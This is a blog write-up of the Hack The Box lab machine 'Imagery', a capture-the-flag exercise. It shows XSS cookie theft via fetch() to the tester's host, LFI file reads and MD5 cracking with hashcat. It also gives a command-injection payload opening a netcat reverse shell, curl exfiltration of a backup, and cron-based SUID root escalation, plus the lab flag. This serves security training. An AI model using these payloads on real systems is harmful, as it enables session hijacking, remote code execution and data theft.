Willem Medendorp's Blog

Willem Medendorp's Blog

Writeup: Imagery

📅
🏷️ [Machine, HackTheBox, Medium]
5 min read

Hack The Box Write-up: Imagery (Medium)

This write-up covers the Hack The Box machine Imagery, a Medium difficulty Linux box revolving around a vulnerable image gallery web app. The main attack vectors include web vulnerabilities like XSS and LFI leading to Remote Code Execution (RCE), and a privilege escalation path via a custom backup utility with cron job abuse. The blog explains enumeration, exploitation, and privilege escalation while highlighting useful techniques and pitfalls.

Enumeration

Running a default nmap scan provided the following key results:

λ | nmap -sV -sC 10.10.11.88 -o imagery.nmap                                      
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-19 15:26 EDT
Nmap scan report for 10.10.11.88
Host is up (0.020s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Werkzeug httpd 3.1.3 (Python 3.12.7)
|_http-title: Image Gallery
|_http-server-header: Werkzeug/3.1.3 Python/3.12.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The HTTP service on port 8000 hosts an Image Gallery web app running on Werkzeug with Python 3.12.7.

Initial Web Analysis: XSS and LFI

The entire webpage and routes seemed to be contained in the one file. As well as the code for the admin backend. Here we see a code blog that displays reported bugs. However interesting enough the bug details are note sanitized:

const reportCard = document.createElement('div'); reportCard.className =
'bg-white p-6 rounded-xl shadow-md border-l-4 border-purple-500 flex
justify-between items-center'; reportCard.innerHTML = `
<div>
  <p class="text-sm text-gray-500 mb-2">
    Report ID: ${DOMPurify.sanitize(report.id)}
  </p>
  <p class="text-sm text-gray-500 mb-2">
    Submitted by: ${DOMPurify.sanitize(report.reporter)} (ID:
    ${DOMPurify.sanitize(report.reporterDisplayId)}) on ${new
    Date(report.timestamp).toLocaleString()}
  </p>
  <h3 class="text-xl font-semibold text-gray-800 mb-3">
    Bug Name: ${DOMPurify.sanitize(report.name)}
  </h3>
  <h3 class="text-xl font-semibold text-gray-800 mb-3">Bug Details:</h3>
  <div
    class="bg-gray-100 p-4 rounded-lg overflow-auto max-h-48 text-gray-700 break-words"
  >
    ${report.details}
  </div>
</div>
<button
  onclick="showDeleteBugReportConfirmation('${DOMPurify.sanitize(report.id)}')"
  class="bg-red-500 hover:bg-red-600 text-white font-bold py-2 px-4 rounded-lg shadow-md transition duration-200 ml-4"
>
  Delete
</button>
`; bugReportsList.appendChild(reportCard);

We can test if report.details is actual vulnerable by first doing a simple img src.

<img src="http://10.10.14.162/test.png">

And running a simple http server with python.

python -m http.server 80

We get a call back, so now lets try and add some code.

For example:

<img src/onerror="fetch('http://10.10.14.162', { method: 'POST', mode: 'no-cors', body:document.cookie });">

This XSS flaw leads to cookie theft, now we the admin session. We swap our cookies and enter as the admin.

Continuing when further going through the source we can see an LFI (Local File Inclusion) vulnerability:

http://imagery.htb:8000/admin/get_system_log?log_identifier=/etc/passwd

Which returned:

root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bash

The LFI lets us read arbitrary files on the server, crucial for further enumeration.

Investigating the Application (app.py)

Examining application source files revealed key information:

  • The app uses Flask with various blueprints for modular routes.
  • Passwords are stored as MD5 hashes.
  • Admin and testuser account hashes:
admin@imagery.htb:5d9c1d507a3f76af1e5c97a3ad1eaa31  
testuser@imagery.htb:2c65c8d7bfbca32a3ed42596192384f6
  • The testuser password was cracked offline with hashcat:
hashcat -m 0 -a 0 hashes.txt ~wordlists/rockyou.txt

resulting in: 2c65c8d7bfbca32a3ed42596192384f6iambatman.

Remote Code Execution via Image Transformation

With access to the test user we can try out the experimental features. First we take a look at the api_edit.py blueprint which we get via the LFI:

unique_output_filename = f"transformed_{uuid.uuid4()}.{original_ext}"
output_filename_in_db = os.path.join('admin', 'transformed', unique_output_filename)
output_filepath = os.path.join(UPLOAD_FOLDER, output_filename_in_db)
if transform_type == 'crop':
    x = str(params.get('x'))
    y = str(params.get('y'))
    width = str(params.get('width'))
    height = str(params.get('height'))
    command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"

The parameters x and y are not sanitized, allowing command injection. As these are just append to the string.

Testing command injection payload:

0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash

With on the host running:

nc -lvnp 9000

Spawned a reverse shell successfully, only closing directly after. So we add a sleep to keep the connection open.

0 test.png; busybox nc 10.10.14.162 9000 -e /bin/bash && sleep 10000

User Escalation to "mark"

No initial password found for mark. After further enumeration, a backup file was found using linpeas.

We can downloaded this backup back to our host

curl -X POST https://10.10.14.162:4443/upload -F 'files=@/var/backup/web_20250806_120723.zip.aes' --insecure

Running file on it show that it has been encrypted using pyAesCrypt. So we let ChatGPT make a little python password bruteforcer and crack it using the rockyou wordlist:

./crack.py -e backup.zip.aes -w ~wordlists/rockyou.txt

=== SUCCESS ===
Password found (line 670): 'bestfriends'
Decrypted file written to: decrypted.bin
Attempts: 670
Done.

Inside the backup’s db.json file, credentials for mark@imagery.htb were found with an MD5 hash (01c3d2e5bdaf6134cec0a367cf53e535).

Using hashcat again, the hash was cracked as:

01c3d2e5bdaf6134cec0a367cf53e535 : supersmash

This password allowed us to switch to user mark using su and capturing the user flag.


Privilege Escalation to Root

Checking sudo permissions for mark:

sudo -l
Matching Defaults entries for mark on Imagery:
    env_reset, mail_badpass, secure_path=...
User mark may run the following commands on Imagery:
    (ALL) NOPASSWD: /usr/local/bin/charcol

charcol is a backup utility permitting cron job additions.

Adding a cron job to change the SUID bit on bash:

charcol add --schedule "* * * * *" --name root --command "chmod +s /bin/bash"

Which we then can utilize by running:

/bin/bash -p

This launches a shell with root privileges.

Finally, we get root flag:

cat /root/root.txt
8a768616559f07cd2e87966380f540c8

Lessons Learned

  • Closely evaluate source code, checking for missing sanitization or injection possibilities.
  • Password hashes can often be cracked offline with rockyou or other wordlists.
  • Custom utilities with sudo rights are prime privilege escalation targets, especially if they allow cron job scheduling.

Copyright 2026
Willem Medendorp

RSS

made with
and